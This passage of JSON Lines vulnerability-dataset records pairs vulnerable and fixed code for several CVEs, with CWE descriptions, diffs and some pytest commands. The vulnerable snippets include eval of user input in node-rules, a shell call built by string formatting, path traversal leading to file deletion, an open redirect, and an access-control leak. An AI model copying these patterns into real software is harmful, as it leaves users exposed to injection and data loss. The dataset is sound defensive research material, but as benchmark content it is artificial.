self.format(record)\n-            os.system(\"notify-send '%s'\" % msg)\n+            subprocess.run([\"notify-send\", msg], check=False, timeout=2)\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2022-3298", "cve_description": "Allocation of Resources Without Limits or Throttling in GitHub repository ikus060/rdiffweb prior to 2.4.8.", "cwe_info": {"CWE-770": {"name": "Allocation of Resources Without Limits or Throttling", "description": "The product allocates a reusable resource or group of resources on behalf of an actor without imposing any restrictions on the size or number of resources that can be allocated, in violation of the intended security policy for that actor."}}, "repo": "https://github.com/ikus060/rdiffweb", "patch_url": ["https://github.com/ikus060/rdiffweb/commit/626cca1b75b6c587afd4241a9692e8929b1921a5"], "programing_language": "Python", "vul_func": [{"id": "vul_py_26_1", "commit": "667657c", "file_path": "rdiffweb/controller/pref_sshkeys.py", "start_line": 49, "end_line": 63, "snippet": "class SshForm(CherryForm):\n    title = StringField(\n        _('Title'),\n        description=_('The title is an optional description to identify the key. e.g.: bob@thinkpad-t530'),\n        validators=[validators.data_required()],\n    )\n    key = StringField(\n        _('Key'),\n        widget=TextArea(),\n        description=_(\n            \"Enter a SSH public key. It should start with 'ssh-dss', 'ssh-ed25519', 'ssh-rsa', 'ecdsa-sha2-nistp256', 'ecdsa-sha2-nistp384' or 'ecdsa-sha2-nistp521'.\"\n        ),\n        validators=[validators.data_required(), validate_key],\n    )\n    fingerprint = StringField('Fingerprint')"}], "fix_func": [{"id": "fix_py_26_1", "commit": "626cca1b75b6c587afd4241a9692e8929b1921a5", "file_path": "rdiffweb/controller/pref_sshkeys.py", "start_line": 49, "end_line": 69, "snippet": "class SshForm(CherryForm):\n    title = StringField(\n        _('Title'),\n        description=_('The title is an optional description to identify the key. e.g.: bob@thinkpad-t530'),\n        validators=[\n            validators.data_required(),\n            validators.length(\n                max=256,\n                message=_('Title too long.'),\n            ),\n        ],\n    )\n    key = StringField(\n        _('Key'),\n        widget=TextArea(),\n        description=_(\n            \"Enter a SSH public key. It should start with 'ssh-dss', 'ssh-ed25519', 'ssh-rsa', 'ecdsa-sha2-nistp256', 'ecdsa-sha2-nistp384' or 'ecdsa-sha2-nistp521'.\"\n        ),\n        validators=[validators.data_required(), validate_key],\n    )\n    fingerprint = StringField('Fingerprint')"}], "vul_patch": "--- a/rdiffweb/controller/pref_sshkeys.py\n+++ b/rdiffweb/controller/pref_sshkeys.py\n@@ -2,7 +2,13 @@\n     title = StringField(\n         _('Title'),\n         description=_('The title is an optional description to identify the key. e.g.: bob@thinkpad-t530'),\n-        validators=[validators.data_required()],\n+        validators=[\n+            validators.data_required(),\n+            validators.length(\n+                max=256,\n+                message=_('Title too long.'),\n+            ),\n+        ],\n     )\n     key = StringField(\n         _('Key'),\n\n", "poc_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2022-3298:latest\n# bash /workspace/fix-run.sh\nset -e\n\ncd /workspace/rdiffweb\ngit apply --whitespace=nowarn /workspace/test.patch /workspace/fix.patch\n/workspace/PoC_env/CVE-2022-3298/bin/python -m pytest rdiffweb/controller/tests/test_page_prefs_ssh.py -v -k \"test_add_with_title_too_long\"\n", "unit_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2022-3298:latest\n# bash /workspace/unit_test.sh\nset -e\n\ncd /workspace/rdiffweb\ngit apply --whitespace=nowarn /workspace/fix.patch\n/workspace/PoC_env/CVE-2022-3298/bin/python -m pytest rdiffweb/controller/tests/test_page_prefs_ssh.py -v \n"}
{"cve_id": "CVE-2020-29565", "cve_description": "An issue was discovered in OpenStack Horizon before 15.3.2, 16.x before 16.2.1, 17.x and 18.x before 18.3.3, 18.4.x, and 18.5.x. There is a lack of validation of the \"next\" parameter, which would allow someone to supply a malicious URL in Horizon that can cause an automatic redirect to the provided malicious URL.", "cwe_info": {"CWE-601": {"name": "URL Redirection to Untrusted Site ('Open Redirect')", "description": "The web application accepts a user-controlled input that specifies a link to an external site, and uses that link in a redirect."}}, "repo": "https://github.com/openstack/horizon", "patch_url": ["https://github.com/openstack/horizon/commit/6c208edf323ced07b15ec4bc3879bddb91d398bc", "https://github.com/openstack/horizon/commit/9e0e333ab5277b6c396f602862ff90398cb0242b", "https://github.com/openstack/horizon/commit/252467100f75587e18df9c43ed5802ee8f0017fa", "https://github.com/openstack/horizon/commit/baa370f84332ad41502daea29a551705696f4421"], "programing_language": "Python", "vul_func": [{"id": "vul_py_205_1", "commit": "dd8943b", "file_path": "horizon/workflows/views.py", "start_line": 85, "end_line": 103, "snippet": "    def get_context_data(self, **kwargs):\n        \"\"\"Returns the template context, including the workflow class.\n\n        This method should be overridden in subclasses to provide additional\n        context data to the template.\n        \"\"\"\n        context = super(WorkflowView, self).get_context_data(**kwargs)\n        workflow = self.get_workflow()\n        workflow.verify_integrity()\n        context[self.context_object_name] = workflow\n        next = self.request.GET.get(workflow.redirect_param_name)\n        context['REDIRECT_URL'] = next\n        context['layout'] = self.get_layout()\n        # For consistency with Workflow class\n        context['modal'] = 'modal' in context['layout']\n\n        if ADD_TO_FIELD_HEADER in self.request.META:\n            context['add_to_field'] = self.request.META[ADD_TO_FIELD_HEADER]\n        return context"}], "fix_func": [{"id": "fix_py_205_1", "commit": "6c208ed", "file_path": "horizon/workflows/views.py", "start_line": 86, "end_line": 111, "snippet": "    def get_context_data(self, **kwargs):\n        \"\"\"Returns the template context, including the workflow class.\n\n        This method should be overridden in subclasses to provide additional\n        context data to the template.\n        \"\"\"\n        context = super(WorkflowView, self).get_context_data(**kwargs)\n        workflow = self.get_workflow()\n        workflow.verify_integrity()\n        context[self.context_object_name] = workflow\n\n        redirect_to = self.request.GET.get(workflow.redirect_param_name)\n        # Make sure the requested redirect is safe\n        if redirect_to and not utils_http.is_safe_url(\n                url=redirect_to,\n                allowed_hosts=[self.request.get_host()]):\n            redirect_to = None\n        context['REDIRECT_URL'] = redirect_to\n\n        context['layout'] = self.get_layout()\n        # For consistency with Workflow class\n        context['modal'] = 'modal' in context['layout']\n\n        if ADD_TO_FIELD_HEADER in self.request.META:\n            context['add_to_field'] = self.request.META[ADD_TO_FIELD_HEADER]\n        return context"}], "vul_patch": "--- a/horizon/workflows/views.py\n+++ b/horizon/workflows/views.py\n@@ -8,8 +8,15 @@\n         workflow = self.get_workflow()\n         workflow.verify_integrity()\n         context[self.context_object_name] = workflow\n-        next = self.request.GET.get(workflow.redirect_param_name)\n-        context['REDIRECT_URL'] = next\n+\n+        redirect_to = self.request.GET.get(workflow.redirect_param_name)\n+        # Make sure the requested redirect is safe\n+        if redirect_to and not utils_http.is_safe_url(\n+                url=redirect_to,\n+                allowed_hosts=[self.request.get_host()]):\n+            redirect_to = None\n+        context['REDIRECT_URL'] = redirect_to\n+\n         context['layout'] = self.get_layout()\n         # For consistency with Workflow class\n         context['modal'] = 'modal' in context['layout']\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2021-34363", "cve_description": "The thefuck (aka The Fuck) package before 3.31 for Python allows Path Traversal that leads to arbitrary file deletion via the \"undo archive operation\" feature.", "cwe_info": {"CWE-73": {"name": "External Control of File Name or Path", "description": "The product allows user input to control or influence paths or file names that are used in filesystem operations."}, "CWE-22": {"name": "Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')", "description": "The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory."}}, "repo": "https://github.com/nvbn/thefuck", "patch_url": ["https://github.com/nvbn/thefuck/commit/e343c577cd7da4d304b837d4a07ab4df1e023092"], "programing_language": "Python", "vul_func": [{"id": "vul_py_238_1", "commit": "6da0bc5", "file_path": "thefuck/rules/dirty_untar.py", "start_line": 41, "end_line": 49, "snippet": "def side_effect(old_cmd, command):\n    with tarfile.TarFile(_tar_file(old_cmd.script_parts)[0]) as archive:\n        for file in archive.getnames():\n            try:\n                os.remove(file)\n            except OSError:\n                # does not try to remove directories as we cannot know if they\n                # already existed before\n                pass"}, {"id": "vul_py_238_2", "commit": "6da0bc5", "file_path": "thefuck/rules/dirty_unzip.py", "start_line": 45, "end_line": 53, "snippet": "def side_effect(old_cmd, command):\n    with zipfile.ZipFile(_zip_file(old_cmd), 'r') as archive:\n        for file in archive.namelist():\n            try:\n                os.remove(file)\n            except OSError:\n                # does not try to remove directories as we cannot know if they\n                # already existed before\n                pass"}], "fix_func": [{"id": "fix_py_238_1", "commit": "e343c57", "file_path": "thefuck/rules/dirty_untar.py", "start_line": 41, "end_line": 53, "snippet": "def side_effect(old_cmd, command):\n    with tarfile.TarFile(_tar_file(old_cmd.script_parts)[0]) as archive:\n        for file in archive.getnames():\n            if not os.path.abspath(file).startswith(os.getcwd()):\n                # it's unsafe to overwrite files outside of the current directory\n                continue\n\n            try:\n                os.remove(file)\n            except OSError:\n                # does not try to remove directories as we cannot know if they\n                # already existed before\n                pass"}, {"id": "fix_py_238_2", "commit": "e343c57", "file_path": "thefuck/rules/dirty_unzip.py", "start_line": 45, "end_line": 57, "snippet": "def side_effect(old_cmd, command):\n    with zipfile.ZipFile(_zip_file(old_cmd), 'r') as archive:\n        for file in archive.namelist():\n            if not os.path.abspath(file).startswith(os.getcwd()):\n                # it's unsafe to overwrite files outside of the current directory\n                continue\n\n            try:\n                os.remove(file)\n            except OSError:\n                # does not try to remove directories as we cannot know if they\n                # already existed before\n                pass"}], "vul_patch": "--- a/thefuck/rules/dirty_untar.py\n+++ b/thefuck/rules/dirty_untar.py\n@@ -1,6 +1,10 @@\n def side_effect(old_cmd, command):\n     with tarfile.TarFile(_tar_file(old_cmd.script_parts)[0]) as archive:\n         for file in archive.getnames():\n+            if not os.path.abspath(file).startswith(os.getcwd()):\n+                # it's unsafe to overwrite files outside of the current directory\n+                continue\n+\n             try:\n                 os.remove(file)\n             except OSError:\n\n--- a/thefuck/rules/dirty_unzip.py\n+++ b/thefuck/rules/dirty_unzip.py\n@@ -1,6 +1,10 @@\n def side_effect(old_cmd, command):\n     with zipfile.ZipFile(_zip_file(old_cmd), 'r') as archive:\n         for file in archive.namelist():\n+            if not os.path.abspath(file).startswith(os.getcwd()):\n+                # it's unsafe to overwrite files outside of the current directory\n+                continue\n+\n             try:\n                 os.remove(file)\n             except OSError:\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2020-7609", "cve_description": "node-rules including 3.0.0 and prior to 5.0.0 allows injection of arbitrary commands. The argument rules of function \"fromJSON()\" can be controlled by users without any sanitization.", "cwe_info": {"CWE-94": {"name": "Improper Control of Generation of Code ('Code Injection')", "description": "The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment."}, "CWE-77": {"name": "Improper Neutralization of Special Elements used in a Command ('Command Injection')", "description": "The product constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component."}, "CWE-78": {"name": "Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "description": "The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component."}}, "repo": "https://github.com/mithunsatheesh/node-rules", "patch_url": ["https://github.com/mithunsatheesh/node-rules/commit/100862223904bb6478fcc33b701c7dee11f7b832", "https://github.com/mithunsatheesh/node-rules/commit/100862223904bb6478fcc33b701c7dee11f7b832,"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_292_1", "commit": "1b07c48336ce30aa6d3b6b3be1850cd292860dbb", "file_path": "lib/node-rules.js", "start_line": 1, "end_line": 163, "snippet": "(function() {\n    'use strict';\n    exports.version = '3.0.0';\n\n    var isEqual = require('lodash.isequal');\n    var filterd = require('lodash.filter');\n    var clonedeep = require('lodash.clonedeep');\n    var matches = require('lodash.matches');\n\n    function RuleEngine(rules, options) {\n        this.init();\n        if (typeof(rules) != \"undefined\") {\n            this.register(rules);\n        }\n        if (options) {\n            this.ignoreFactChanges = options.ignoreFactChanges;\n        }\n        return this;\n    }\n    RuleEngine.prototype.init = function(rules) {\n        this.rules = [];\n        this.activeRules = [];\n    };\n    RuleEngine.prototype.register = function(rules) {\n        if (Array.isArray(rules)) {\n            this.rules = this.rules.concat(rules);\n        } else if (rules !== null && typeof(rules) == \"object\") {\n            this.rules.push(rules);\n        }\n        this.sync();\n    };\n    RuleEngine.prototype.sync = function() {\n        this.activeRules = this.rules.filter(function(a) {\n            if (typeof(a.on) === \"undefined\") {\n                a.on = true;\n            }\n            if (a.on === true) {\n                return a;\n            }\n        });\n        this.activeRules.sort(function(a, b) {\n            if (a.priority && b.priority) {\n                return b.priority - a.priority;\n            } else {\n                return 0;\n            }\n        });\n    };\n    RuleEngine.prototype.execute = function(fact, callback) {\n        //these new attributes have to be in both last session and current session to support\n        // the compare function\n        var complete = false;\n        fact.result = true;\n        var session = clonedeep(fact);\n        var lastSession = clonedeep(fact);\n        var _rules = this.activeRules;\n        var matchPath = [];\n        var ignoreFactChanges = this.ignoreFactChanges;\n        (function FnRuleLoop(x) {\n            var API = {\n                \"rule\": function() { return _rules[x]; },\n                \"when\": function(outcome) {\n                    if (outcome) {\n                        var _consequence = _rules[x].consequence;\n                        _consequence.ruleRef = _rules[x].id || _rules[x].name || 'index_'+x;\n                        process.nextTick(function() {\n                            matchPath.push(_consequence.ruleRef);\n                            _consequence.call(session, API, session);\n                        });\n                    } else {\n                        process.nextTick(function() {\n                            API.next();\n                        });\n                    }\n                },\n                \"restart\": function() {\n                    return FnRuleLoop(0);\n                },\n                \"stop\": function() {\n                    complete = true;\n                    return FnRuleLoop(0);\n                },\n                \"next\": function() {\n                    if (!ignoreFactChanges && !isEqual(lastSession, session)) {\n                        lastSession = clonedeep(session);\n                        process.nextTick(function() {\n                            API.restart();\n                        });\n                    } else {\n                        process.nextTick(function() {\n                            return FnRuleLoop(x + 1);\n                        });\n                    }\n                }\n            };\n            if (x < _rules.length && complete === false) {\n                var _rule = _rules[x].condition;\n                _rule.call(session, API, session);\n            } else {\n                process.nextTick(function() {\n                    session.matchPath = matchPath;\n                    return callback(session);\n                });\n            }\n        })(0);\n    };\n    RuleEngine.prototype.findRules = function(filter) {\n        if (typeof(filter) === \"undefined\") {\n            return this.rules;\n        } else {\n            var find = matches(filter);\n            return filterd(this.rules, find);\n        }\n    }\n    RuleEngine.prototype.turn = function(state, filter) {\n        var state = (state === \"on\" || state === \"ON\") ? true : false;\n        var rules = this.findRules(filter);\n        for (var i = 0, j = rules.length; i < j; i++) {\n            rules[i].on = state;\n        }\n        this.sync();\n    }\n    RuleEngine.prototype.prioritize = function(priority, filter) {\n        priority = parseInt(priority, 10);\n        var rules = this.findRules(filter);\n        for (var i = 0, j = rules.length; i < j; i++) {\n            rules[i].priority = priority;\n        }\n        this.sync();\n    }\n    RuleEngine.prototype.toJSON = function() {\n        var rules = this.rules;\n        if (rules instanceof Array) {\n            rules = rules.map(function(rule) {\n                rule.condition = rule.condition.toString();\n                rule.consequence = rule.consequence.toString();\n                return rule;\n            });\n        } else if (typeof(rules) != \"undefined\") {\n            rules.condition = rules.condition.toString();\n            rules.consequence = rules.consequence.toString();\n        }\n        return rules;\n    };\n    RuleEngine.prototype.fromJSON = function(rules) {\n        this.init();\n        if (typeof(rules) == \"string\") {\n            rules = JSON.parse(rules);\n        }\n        if (rules instanceof Array) {\n            rules = rules.map(function(rule) {\n                rule.condition = eval(\"(\" + rule.condition + \")\");\n                rule.consequence = eval(\"(\" + rule.consequence + \")\");\n                return rule;\n            });\n        } else if (rules !== null && typeof(rules) == \"object\") {\n            rules.condition = eval(\"(\" + rules.condition + \")\");\n            rules.consequence = eval(\"(\" + rules.consequence + \")\");\n        }\n        this.register(rules);\n    };\n    module.exports = RuleEngine;\n}(module.exports));"}], "fix_func": [{"id": "fix_js_292_1", "commit": "100862223904bb6478fcc33b701c7dee11f7b832", "file_path": "lib/node-rules.js", "start_line": 1, "end_line": 132, "snippet": "(function() {\n    'use strict';\n    exports.version = '3.0.0';\n\n    var isEqual = require('lodash.isequal');\n    var filterd = require('lodash.filter');\n    var clonedeep = require('lodash.clonedeep');\n    var matches = require('lodash.matches');\n\n    function RuleEngine(rules, options) {\n        this.init();\n        if (typeof(rules) != \"undefined\") {\n            this.register(rules);\n        }\n        if (options) {\n            this.ignoreFactChanges = options.ignoreFactChanges;\n        }\n        return this;\n    }\n    RuleEngine.prototype.init = function(rules) {\n        this.rules = [];\n        this.activeRules = [];\n    };\n    RuleEngine.prototype.register = function(rules) {\n        if (Array.isArray(rules)) {\n            this.rules = this.rules.concat(rules);\n        } else if (rules !== null && typeof(rules) == \"object\") {\n            this.rules.push(rules);\n        }\n        this.sync();\n    };\n    RuleEngine.prototype.sync = function() {\n        this.activeRules = this.rules.filter(function(a) {\n            if (typeof(a.on) === \"undefined\") {\n                a.on = true;\n            }\n            if (a.on === true) {\n                return a;\n            }\n        });\n        this.activeRules.sort(function(a, b) {\n            if (a.priority && b.priority) {\n                return b.priority - a.priority;\n            } else {\n                return 0;\n            }\n        });\n    };\n    RuleEngine.prototype.execute = function(fact, callback) {\n        //these new attributes have to be in both last session and current session to support\n        // the compare function\n        var complete = false;\n        fact.result = true;\n        var session = clonedeep(fact);\n        var lastSession = clonedeep(fact);\n        var _rules = this.activeRules;\n        var matchPath = [];\n        var ignoreFactChanges = this.ignoreFactChanges;\n        (function FnRuleLoop(x) {\n            var API = {\n                \"rule\": function() { return _rules[x]; },\n                \"when\": function(outcome) {\n                    if (outcome) {\n                        var _consequence = _rules[x].consequence;\n                        _consequence.ruleRef = _rules[x].id || _rules[x].name || 'index_'+x;\n                        process.nextTick(function() {\n                            matchPath.push(_consequence.ruleRef);\n                            _consequence.call(session, API, session);\n                        });\n                    } else {\n                        process.nextTick(function() {\n                            API.next();\n                        });\n                    }\n                },\n                \"restart\": function() {\n                    return FnRuleLoop(0);\n                },\n                \"stop\": function() {\n                    complete = true;\n                    return FnRuleLoop(0);\n                },\n                \"next\": function() {\n                    if (!ignoreFactChanges && !isEqual(lastSession, session)) {\n                        lastSession = clonedeep(session);\n                        process.nextTick(function() {\n                            API.restart();\n                        });\n                    } else {\n                        process.nextTick(function() {\n                            return FnRuleLoop(x + 1);\n                        });\n                    }\n                }\n            };\n            if (x < _rules.length && complete === false) {\n                var _rule = _rules[x].condition;\n                _rule.call(session, API, session);\n            } else {\n                process.nextTick(function() {\n                    session.matchPath = matchPath;\n                    return callback(session);\n                });\n            }\n        })(0);\n    };\n    RuleEngine.prototype.findRules = function(filter) {\n        if (typeof(filter) === \"undefined\") {\n            return this.rules;\n        } else {\n            var find = matches(filter);\n            return filterd(this.rules, find);\n        }\n    }\n    RuleEngine.prototype.turn = function(state, filter) {\n        var state = (state === \"on\" || state === \"ON\") ? true : false;\n        var rules = this.findRules(filter);\n        for (var i = 0, j = rules.length; i < j; i++) {\n            rules[i].on = state;\n        }\n        this.sync();\n    }\n    RuleEngine.prototype.prioritize = function(priority, filter) {\n        priority = parseInt(priority, 10);\n        var rules = this.findRules(filter);\n        for (var i = 0, j = rules.length; i < j; i++) {\n            rules[i].priority = priority;\n        }\n        this.sync();\n    }\n    module.exports = RuleEngine;\n}(module.exports));"}], "vul_patch": "--- a/lib/node-rules.js\n+++ b/lib/node-rules.js\n@@ -128,36 +128,5 @@\n         }\n         this.sync();\n     }\n-    RuleEngine.prototype.toJSON = function() {\n-        var rules = this.rules;\n-        if (rules instanceof Array) {\n-            rules = rules.map(function(rule) {\n-                rule.condition = rule.condition.toString();\n-                rule.consequence = rule.consequence.toString();\n-                return rule;\n-            });\n-        } else if (typeof(rules) != \"undefined\") {\n-            rules.condition = rules.condition.toString();\n-            rules.consequence = rules.consequence.toString();\n-        }\n-        return rules;\n-    };\n-    RuleEngine.prototype.fromJSON = function(rules) {\n-        this.init();\n-        if (typeof(rules) == \"string\") {\n-            rules = JSON.parse(rules);\n-        }\n-        if (rules instanceof Array) {\n-            rules = rules.map(function(rule) {\n-                rule.condition = eval(\"(\" + rule.condition + \")\");\n-                rule.consequence = eval(\"(\" + rule.consequence + \")\");\n-                return rule;\n-            });\n-        } else if (rules !== null && typeof(rules) == \"object\") {\n-            rules.condition = eval(\"(\" + rules.condition + \")\");\n-            rules.consequence = eval(\"(\" + rules.consequence + \")\");\n-        }\n-        this.register(rules);\n-    };\n     module.exports = RuleEngine;\n }(module.exports));\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2017-5602", "cve_description": "An incorrect implementation of \"XEP-0280: Message Carbons\" in multiple XMPP clients allows a remote attacker to impersonate any user, including contacts, in the vulnerable application's display. This allows for various kinds of social engineering attacks. This CVE is for jappix 1.0.0 to 1.1.6.", "cwe_info": {"CWE-20": {"name": "Improper Input Validation", "description": "The product receives input or data, but it does\n        not validate or incorrectly validates that the input has the\n        properties that are required to process the data safely and\n        correctly."}}, "repo": "https://github.com/jappix/jappix", "patch_url": ["https://github.com/jappix/jappix/commit/ea6de7c65b80880bdf85df47c1a8a5d3d68491af"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_244_1", "commit": "53b1621", "file_path": "app/javascripts/carbons.js", "start_line": 127, "end_line": 141, "snippet": "    self._getForwarded = function(message) {\n\n        try {\n            var forwarded_message = $(message.getNode()).find('forwarded[xmlns=\"' + NS_URN_FORWARD + '\"]:first message:first');\n\n            if(forwarded_message[0]) {\n                return JSJaCPacket.wrapNode(forwarded_message[0]);\n            }\n\n            return null;\n        } catch(e) {\n            Console.error('Carbons._getForwarded', e);\n        }\n\n    };"}], "fix_func": [{"id": "fix_js_244_1", "commit": "ea6de7c65b80880bdf85df47c1a8a5d3d68491af", "file_path": "app/javascripts/carbons.js", "start_line": 127, "end_line": 144, "snippet": "    self._getForwarded = function(message) {\n\n        try {\n            // Check message is forwarded from our local user\n            if(Common.bareXID(Common.getStanzaFrom(message)) == Common.getXID()) {\n                var forwarded_message = $(message.getNode()).find('forwarded[xmlns=\"' + NS_URN_FORWARD + '\"]:first message:first');\n\n                if(forwarded_message[0]) {\n                    return JSJaCPacket.wrapNode(forwarded_message[0]);\n                }\n            }\n\n            return null;\n        } catch(e) {\n            Console.error('Carbons._getForwarded', e);\n        }\n\n    };"}], "vul_patch": "--- a/app/javascripts/carbons.js\n+++ b/app/javascripts/carbons.js\n@@ -1,10 +1,13 @@\n     self._getForwarded = function(message) {\n \n         try {\n-            var forwarded_message = $(message.getNode()).find('forwarded[xmlns=\"' + NS_URN_FORWARD + '\"]:first message:first');\n+            // Check message is forwarded from our local user\n+            if(Common.bareXID(Common.getStanzaFrom(message)) == Common.getXID()) {\n+                var forwarded_message = $(message.getNode()).find('forwarded[xmlns=\"' + NS_URN_FORWARD + '\"]:first message:first');\n \n-            if(forwarded_message[0]) {\n-                return JSJaCPacket.wrapNode(forwarded_message[0]);\n+                if(forwarded_message[0]) {\n+                    return JSJaCPacket.wrapNode(forwarded_message[0]);\n+                }\n             }\n \n             return null;\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2016-1906", "cve_description": "Openshift allows remote attackers to gain privileges by updating a build configuration that was created with an allowed type to a type that is not allowed.", "cwe_info": {"CWE-285": {"name": "Improper Authorization", "description": "The product does not perform or incorrectly performs an authorization check when an actor attempts to access a resource or perform an action."}, "CWE-250": {"name": "Execution with Unnecessary Privileges", "description": "The product performs an operation at a privilege level that is higher than the minimum level required, which creates new weaknesses or amplifies the consequences of other weaknesses."}, "CWE-269": {"name": "Improper Privilege Management", "description": "The product does not properly assign, modify, track, or check privileges for an actor, creating an unintended sphere of control for that actor."}}, "repo": "https://github.com/openshift/origin", "patch_url": ["https://github.com/openshift/origin/commit/d95ec085f03ecf10e8c424a4f0340ddb38891406"], "programing_language": "Go", "vul_func": [{"id": "vul_go_246_1", "commit": "9b59dabbac3215108de7d6c4eb5a60aaea19beb3", "file_path": "pkg/build/admission/admission.go", "start_line": 48, "end_line": 62, "snippet": "func (a *buildByStrategy) Admit(attr admission.Attributes) error {\n\tif resource := attr.GetResource(); resource != buildsResource && resource != buildConfigsResource {\n\t\treturn nil\n\t}\n\tswitch obj := attr.GetObject().(type) {\n\tcase *buildapi.Build:\n\t\treturn a.checkBuildAuthorization(obj, attr)\n\tcase *buildapi.BuildConfig:\n\t\treturn a.checkBuildConfigAuthorization(obj, attr)\n\tcase *buildapi.BuildRequest:\n\t\treturn a.checkBuildRequestAuthorization(obj, attr)\n\tdefault:\n\t\treturn admission.NewForbidden(attr, fmt.Errorf(\"unrecognized request object %#v\", obj))\n\t}\n}"}], "fix_func": [{"id": "fix_go_246_1", "commit": "d95ec085f03ecf10e8c424a4f0340ddb38891406", "file_path": "pkg/build/admission/admission.go", "start_line": 48, "end_line": 67, "snippet": "func (a *buildByStrategy) Admit(attr admission.Attributes) error {\n\tif resource := attr.GetResource(); resource != buildsResource && resource != buildConfigsResource {\n\t\treturn nil\n\t}\n\t// Explicitly exclude the builds/details subresource because it's only\n\t// updating commit info and cannot change build type.\n\tif attr.GetResource() == buildsResource && attr.GetSubresource() == \"details\" {\n\t\treturn nil\n\t}\n\tswitch obj := attr.GetObject().(type) {\n\tcase *buildapi.Build:\n\t\treturn a.checkBuildAuthorization(obj, attr)\n\tcase *buildapi.BuildConfig:\n\t\treturn a.checkBuildConfigAuthorization(obj, attr)\n\tcase *buildapi.BuildRequest:\n\t\treturn a.checkBuildRequestAuthorization(obj, attr)\n\tdefault:\n\t\treturn admission.NewForbidden(attr, fmt.Errorf(\"unrecognized request object %#v\", obj))\n\t}\n}"}], "vul_patch": "--- a/pkg/build/admission/admission.go\n+++ b/pkg/build/admission/admission.go\n@@ -1,5 +1,10 @@\n func (a *buildByStrategy) Admit(attr admission.Attributes) error {\n \tif resource := attr.GetResource(); resource != buildsResource && resource != buildConfigsResource {\n+\t\treturn nil\n+\t}\n+\t// Explicitly exclude the builds/details subresource because it's only\n+\t// updating commit info and cannot change build type.\n+\tif attr.GetResource() == buildsResource && attr.GetSubresource() == \"details\" {\n \t\treturn nil\n \t}\n \tswitch obj := attr.GetObject().(type) {\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2023-0744", "cve_description": "Improper Access Control in GitHub repository answerdev/answer prior to 1.0.4.", "cwe_info": {"CWE-284": {"name": "Improper Access Control", "description": "The product does not restrict or incorrectly restricts access to a resource from an unauthorized actor."}}, "repo": "https://github.com/answerdev/answer", "patch_url": ["https://github.com/answerdev/answer/commit/c1fa2b13f6b547b96da60b23350bbe2b29de542d"], "programing_language": "Go", "vul_func": [{"id": "vul_go_243_1", "commit": "00e4f2c9dec913067ed5e996390479d9e8fc6dbb", "file_path": "internal/controller/user_controller.go", "start_line": 145, "end_line": 162, "snippet": "func (uc *UserController) RetrievePassWord(ctx *gin.Context) {\n\treq := &schema.UserRetrievePassWordRequest{}\n\tif handler.BindAndCheck(ctx, req) {\n\t\treturn\n\t}\n\tcaptchaPass := uc.actionService.ActionRecordVerifyCaptcha(ctx, schema.ActionRecordTypeFindPass, ctx.ClientIP(), req.CaptchaID, req.CaptchaCode)\n\tif !captchaPass {\n\t\terrFields := append([]*validator.FormErrorField{}, &validator.FormErrorField{\n\t\t\tErrorField: \"captcha_code\",\n\t\t\tErrorMsg:   translator.Tr(handler.GetLang(ctx), reason.CaptchaVerificationFailed),\n\t\t})\n\t\thandler.HandleResponse(ctx, errors.BadRequest(reason.CaptchaVerificationFailed), errFields)\n\t\treturn\n\t}\n\t_, _ = uc.actionService.ActionRecordAdd(ctx, schema.ActionRecordTypeFindPass, ctx.ClientIP())\n\tcode, err := uc.userService.RetrievePassWord(ctx, req)\n\thandler.HandleResponse(ctx, err, code)\n}"}], "fix_func": [{"id": "fix_go_243_1", "commit": "c1fa2b13f6b547b96da60b23350bbe2b29de542d", "file_path": "internal/controller/user_controller.go", "start_line": 145, "end_line": 162, "snippet": "func (uc *UserController) RetrievePassWord(ctx *gin.Context) {\n\treq := &schema.UserRetrievePassWordRequest{}\n\tif handler.BindAndCheck(ctx, req) {\n\t\treturn\n\t}\n\tcaptchaPass := uc.actionService.ActionRecordVerifyCaptcha(ctx, schema.ActionRecordTypeFindPass, ctx.ClientIP(), req.CaptchaID, req.CaptchaCode)\n\tif !captchaPass {\n\t\terrFields := append([]*validator.FormErrorField{}, &validator.FormErrorField{\n\t\t\tErrorField: \"captcha_code\",\n\t\t\tErrorMsg:   translator.Tr(handler.GetLang(ctx), reason.CaptchaVerificationFailed),\n\t\t})\n\t\thandler.HandleResponse(ctx, errors.BadRequest(reason.CaptchaVerificationFailed), errFields)\n\t\treturn\n\t}\n\t_, _ = uc.actionService.ActionRecordAdd(ctx, schema.ActionRecordTypeFindPass, ctx.ClientIP())\n\t_, err := uc.userService.RetrievePassWord(ctx, req)\n\thandler.HandleResponse(ctx, err, nil)\n}"}], "vul_patch": "--- a/internal/controller/user_controller.go\n+++ b/internal/controller/user_controller.go\n@@ -13,6 +13,6 @@\n \t\treturn\n \t}\n \t_, _ = uc.actionService.ActionRecordAdd(ctx, schema.ActionRecordTypeFindPass, ctx.ClientIP())\n-\tcode, err := uc.userService.RetrievePassWord(ctx, req)\n-\thandler.HandleResponse(ctx, err, code)\n+\t_, err := uc.userService.RetrievePassWord(ctx, req)\n+\thandler.HandleResponse(ctx, err, nil)\n }\n\n", "poc_patch": null, "unit_test_cmd": null}
